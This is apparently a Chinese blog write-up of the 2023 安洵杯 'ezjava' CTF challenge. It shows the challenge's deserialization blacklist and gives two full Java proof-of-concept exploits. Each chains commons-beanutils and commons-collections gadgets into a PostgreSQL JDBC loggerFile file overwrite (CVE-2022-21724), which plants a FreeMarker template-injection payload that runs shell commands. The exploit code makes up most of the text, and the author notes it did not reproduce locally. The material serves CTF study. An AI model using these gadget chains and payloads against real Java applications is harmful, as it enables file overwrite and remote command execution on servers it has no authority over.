2023安洵杯 ezjava

2023安洵杯 ezjava

重要依赖

    <dependency>
        <groupId>org.postgresql</groupId>
        <artifactId>postgresql</artifactId>
        <version>42.3.1</version>
    </dependency>

    <dependency>
        <groupId>commons-beanutils</groupId>
        <artifactId>commons-beanutils</artifactId>
        <version>1.9.3</version>
    </dependency>

有CB依赖和pgsql的依赖,而且pgsql还是漏洞版本,还有cb依赖,估计的思路是cb触发getter打pgsql

然后还有cc依赖不过是3.2.2版本的,还有Freemaker的模板

题目不出网

路由的代码就不放了,就直接是一个反序列化

waf

static {
    BLACKLIST.add("com.sun.jndi");
    BLACKLIST.add("com.fasterxml.jackson");
    BLACKLIST.add("org.springframework");
    BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
    BLACKLIST.add("java.security.SignedObject");
    BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    BLACKLIST.add("java.lang.Runtime");
    BLACKLIST.add("java.lang.ProcessBuilder");
    BLACKLIST.add("java.util.PriorityQueue");
}

可以看到出口类是一个找不到,然后jndi类是用不了,jackson反序列化是不行的,一般出口类都没有的时候就是到注入了,这里有fm模板的依赖,大概率是覆盖index.ftl然后去模板注入,但是CB的入口杯卡死了,可以使用CB的TreeBag链

TreeBag的readObject逻辑如下
image.png
image.png
这里会调用map的put方法,这里的map是treemap
image.png
image.png
那么我们只需要让compartor为BeanComparator即可

因为还有CC依赖,我们也不需要TreeBag,我们只需要触发Treemap的put方法,我们知道LazyMap会触发map的put方法,所以链子还是有其他的

然后就是打pgsql的文件覆盖,不过需要一个前提条件

spring.freemarker.expose-spring-macro-helpers=true

而Spring的配置文件这里确实是这样的,所以就是这样打

pgsql打的是

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
    public static void main(String[] args) throws SQLException {
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent="test";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

但是这里我们需要反序列化触发他,然后覆盖文件

BadAttributeValueExpException#readObject()->TiedMapEntry#getValue()->LazyMap#get()->TreeMap#put()->BeanComparator#compare()->BaseDataSource#getConnection()->org.postgresql.Driver#setupLoggerFromProperties()->org.postgresql.Driver#connect()->写入文件

POC

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.postgresql.ds.PGSimpleDataSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.Base64;
import java.util.TreeMap;

public class psqlConnection {

    public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        String loggerLevel="debug";
        String loggerFile="/app/templates/index.ftl";
        String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        PGSimpleDataSource pgSimpleDataSource=new PGSimpleDataSource(); //DataSource子类
        pgSimpleDataSource.setURL(jdbcUrl);
        BeanComparator beanComparator=new BeanComparator();
        setFieldValue(beanComparator, "property", "connection");
        TreeMap treeMap=new TreeMap(beanComparator);
        ConstantFactory constantFactory=new ConstantFactory("1");
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(treeMap,constantFactory);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,pgSimpleDataSource);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
        byte[] result=serialize(badAttributeValueExpException);
        String exp=Base64.getEncoder().encodeToString(result);
        System.out.println(exp);

//        byte[] bytes = Base64.getDecoder().decode(exp);
//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
//        objectInputStream.readObject();
    }
    public static void setFieldValue(Object obj,String field,Object val) throws NoSuchFieldException, IllegalAccessException {
        Field field1=obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj,val);
    }
    public static  byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
}

或则Treebag

package com.ctf.axb;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.postgresql.ds.PGConnectionPoolDataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.TreeMap;

public class Exp {
    public static void main(String[] args) throws Exception {
        PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent = "<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        pgConnectionPoolDataSource.setProperty("loggerLevel","debug");
        pgConnectionPoolDataSource.setProperty("loggerFile","/app/templates/index.ftl");
        pgConnectionPoolDataSource.setURL(jdbcUrl);
        pgConnectionPoolDataSource.setProperty("user","<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}");
        pgConnectionPoolDataSource.setProperty("password","1");

        Class<?> mutableIntegerclass = Class.forName("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
        Constructor<?> mutableIntegerConstructor = mutableIntegerclass.getDeclaredConstructor(int.class);
        mutableIntegerConstructor.setAccessible(true);
        Object mutableIntegerClass = mutableIntegerConstructor.newInstance(1);
        Class<?> entry = Class.forName("java.util.TreeMap$Entry");
        Constructor<?> entryConstructor = entry.getDeclaredConstructor(Object.class, Object.class, entry);
        entryConstructor.setAccessible(true);
        Object entryClass = entryConstructor.newInstance(pgConnectionPoolDataSource, mutableIntegerClass, null);
        Object entryClass1 = entryConstructor.newInstance(pgConnectionPoolDataSource,mutableIntegerClass, entryClass);
        BeanComparator beanComparator = new BeanComparator();
        Class<? extends BeanComparator> beanComparatorClass = beanComparator.getClass();
        Field propertyField = beanComparatorClass.getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(beanComparator,"connection");
        TreeMap treeMap = new TreeMap();

        setFieldValue(entryClass1, "right", entryClass);
        setFieldValue(treeMap,"root",entryClass1);
        setFieldValue(treeMap,"size",1);
        setFieldValue(treeMap,"modCount",1);
        setFieldValue(treeMap,"comparator",beanComparator);

        TreeBag treeBag = new TreeBag(beanComparator);
        Class<?> superclass = treeBag.getClass().getSuperclass();
        Field map = superclass.getDeclaredField("map");
        map.setAccessible(true);
        map.set(treeBag,treeMap);
        String s = base64serial(treeBag);
        System.out.println(s);
        base64deserial(s);
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }

    public static void base64deserial(String base64String) throws Exception {
        byte[] data = Base64.getDecoder().decode(base64String);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
        ois.readObject();
    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
}


我本地是没有复现成功的,不知道为什么

md覆盖的文件没有我想要的内容

参考

https://xz.aliyun.com/t/13279?time__1311=mqmxnDBD9DyDc0iD%2FD0Yx20Ynq4Qwv4PvD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-7

https://blog.youkuaiyun.com/qq_64201116/article/details/136796997

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值